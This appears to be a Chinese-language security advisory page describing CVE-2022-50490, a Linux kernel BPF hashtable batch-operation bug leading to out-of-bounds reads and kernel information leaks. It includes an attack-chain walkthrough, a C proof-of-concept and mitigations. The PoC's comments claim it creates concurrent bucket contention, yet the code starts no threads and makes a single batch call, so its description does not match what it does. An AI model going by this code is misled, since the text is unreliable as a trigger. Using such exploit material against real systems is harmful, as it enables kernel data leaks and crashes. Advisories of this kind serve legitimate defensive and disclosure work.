IPBUF安全漏洞报告
English
CVE-2022-50490 CVSS 7.1 高危

CVE-2022-50490 Linux内核BPF哈希表越界内存访问漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50490
漏洞类型
越界内存访问/信息泄露
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel BPF子系统

相关标签

Linux内核BPF内核漏洞越界访问信息泄露本地提权拒绝服务哈希表CVE-2022-50490内核安全

漏洞概述

CVE-2022-50490是Linux内核BPF(Berkeley Packet Filter)子系统中存在的一个高危安全漏洞,CVSS评分为7.1。该漏洞位于内核的哈希表(hashtable)批量查找与删除操作函数__htab_map_lookup_and_delete_batch()中。当调用htab_lock_bucket()函数尝试锁定哈希桶时,如果返回-EBUSY错误,原始代码逻辑会跳转到下一个桶继续处理,而不是停止当前批量操作并向用户空间报告错误。这种不当的错误处理逻辑可能导致两个严重的安全问题:首先,当当前桶的计数(bucket_cnt)大于桶大小(bucket_size)时,继续处理可能导致越界内存访问;其次,当bucket_cnt为零时,可能将未初始化的内核内存数据暴露给用户空间,从而造成内核信息泄露。该漏洞需要本地低权限用户即可触发,无需用户交互,但会对系统的机密性和可用性造成严重影响。攻击者可以利用此漏洞读取内核敏感数据或导致系统崩溃,对系统安全构成实质性威胁。Linux内核团队已通过提交补丁修复了此问题,修复方案是在htab_lock_bucket()失败时停止批量操作并返回-EBUSY错误,允许应用程序根据需要重试或跳过繁忙的批量操作。

技术细节

该漏洞的技术原理涉及Linux内核BPF映射(map)子系统中的哈希表批量操作机制。在BPF程序中,哈希表是一种常用的数据结构,用于在内核空间高效存储键值对。__htab_map_lookup_and_delete_batch()函数用于批量查找并删除哈希表中的元素,其实现依赖于htab_lock_bucket()函数来锁定特定哈希桶以保证并发安全。漏洞的根本原因在于错误处理逻辑不当:当htab_lock_bucket()返回-EBUSY(表示桶已被其他进程锁定)时,原代码使用goto语句跳转到下一个桶的处理逻辑,跳过了对当前桶中元素的处理。然而,这种跳过操作没有正确维护bucket_cnt计数器,导致后续处理时可能使用了错误的计数值。当bucket_cnt大于bucket_size时,代码会尝试访问超出预分配内存范围的数据,造成越界内存读取,可能将相邻的内核内存数据暴露给用户空间。当bucket_cnt为零时,则可能读取未初始化的内存区域,同样会导致内核信息泄露。攻击者作为本地低权限用户,可以通过编写特定的BPF程序,调用bpf_map_lookup_and_delete_batch()系统调用,并构造特定的哈希键分布,使htab_lock_bucket()频繁返回-EBUSY,从而触发该漏洞。成功利用后,攻击者可以读取内核敏感信息(如内核栈数据、堆数据等),或通过越界访问导致内核panic,造成系统拒绝服务。

攻击链分析

STEP 1
步骤1:获取本地权限
攻击者需要在目标Linux系统上拥有本地用户账户(低权限即可),能够执行用户态程序并调用bpf()系统调用(需要CAP_BPF或CAP_SYS_ADMIN权限,或在非特权BPF启用环境下)。
STEP 2
步骤2:创建BPF哈希映射
攻击者通过bpf()系统调用创建BPF_MAP_TYPE_HASH类型的哈希映射,并填充特定数量的元素,使哈希桶分布不均匀,增加桶锁竞争的概率。
STEP 3
步骤3:触发并发竞争
攻击者通过多线程或多进程并发调用BPF_MAP_LOOKUP_AND_DELETE_BATCH操作,制造对同一哈希桶的并发访问,使htab_lock_bucket()函数频繁返回-EBUSY错误。
STEP 4
步骤4:触发越界内存访问
当htab_lock_bucket()返回-EBUSY时,原始代码跳转到下一个桶继续处理,导致bucket_cnt计数器异常。当bucket_cnt超过bucket_size时触发越界内存读取,可能泄露内核敏感数据。
STEP 5
步骤5:信息泄露或系统崩溃
成功利用后,攻击者可以读取内核内存中的敏感信息(如凭证、密钥等),或通过越界访问导致内核panic,造成系统拒绝服务(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50490 PoC - Trigger EBUSY in htab_lock_bucket() // This PoC demonstrates triggering the vulnerability by creating // concurrent access to BPF hash map buckets #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/syscall.h> #include <linux/bpf.h> #define BPF_MAP_TYPE_HASH 1 #define BPF_MAP_TYPE_PERCPU_HASH 5 // Wrapper for bpf syscall static int bpf(int cmd, union bpf_attr *attr, unsigned int size) { return syscall(__NR_bpf, cmd, attr, size); } // Create a BPF hash map static int create_hash_map(int map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr; memset(&attr, 0, sizeof(attr)); attr.map_type = map_type; attr.key_size = key_size; attr.value_size = value_size; attr.max_entries = max_entries; return bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); } // Update BPF map element static int map_update_elem(int fd, const void *key, const void *value) { union bpf_attr attr; memset(&attr, 0, sizeof(attr)); attr.map_fd = fd; attr.key = (unsigned long long)key; attr.value = (unsigned long long)value; attr.flags = BPF_ANY; return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } // Lookup and delete batch operation - triggers the vulnerability static int map_lookup_and_delete_batch(int fd, void *in_batch, void *out_batch, void *keys, void *values, int *count) { union bpf_attr attr; memset(&attr, 0, sizeof(attr)); attr.map_fd = fd; attr.batch = (unsigned long long)out_batch; attr.in_batch = (unsigned long long)in_batch; attr.keys = (unsigned long long)keys; attr.values = (unsigned long long)values; attr.count = *count; int ret = bpf(BPF_MAP_LOOKUP_AND_DELETE_BATCH, &attr, sizeof(attr)); *count = attr.count; return ret; } int main(int argc, char **argv) { int map_fd, ret; int batch_count = 4; __u32 keys[16]; __u32 values[16]; __u64 in_batch = 0; __u64 out_batch = 0; // Create a hash map with limited entries to trigger bucket contention map_fd = create_hash_map(BPF_MAP_TYPE_HASH, sizeof(__u32), sizeof(__u32), 4); if (map_fd < 0) { perror("Failed to create BPF map"); return 1; } // Populate the map with elements that hash to the same bucket // This increases the chance of EBUSY from htab_lock_bucket() for (int i = 0; i < 4; i++) { keys[i] = i; values[i] = i * 100; ret = map_update_elem(map_fd, &keys[i], &values[i]); if (ret < 0) { perror("Failed to update map element"); } } // Perform batch lookup and delete - this may trigger the vulnerability // when htab_lock_bucket() returns EBUSY due to concurrent access ret = map_lookup_and_delete_batch(map_fd, &in_batch, &out_batch, keys, values, &batch_count); if (ret == -1) { perror("Batch operation failed"); } else { printf("Batch operation completed, count=%d\n", batch_count); } close(map_fd); return 0; }

影响范围

Linux Kernel < 5.15.80
Linux Kernel < 5.10.155
Linux Kernel < 5.4.225
Linux Kernel < 4.19.265

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1) 设置内核参数kernel.unprivileged_bpf_disabled=1禁用非特权BPF功能,仅允许特权进程使用BPF系统调用;2) 使用seccomp过滤器限制应用程序调用bpf()系统调用的能力;3) 通过BPF token机制限制BPF映射的创建和操作权限;4) 监控异常BPF系统调用行为,及时发现潜在攻击;5) 对关键业务系统实施最小权限原则,限制本地用户的权限范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表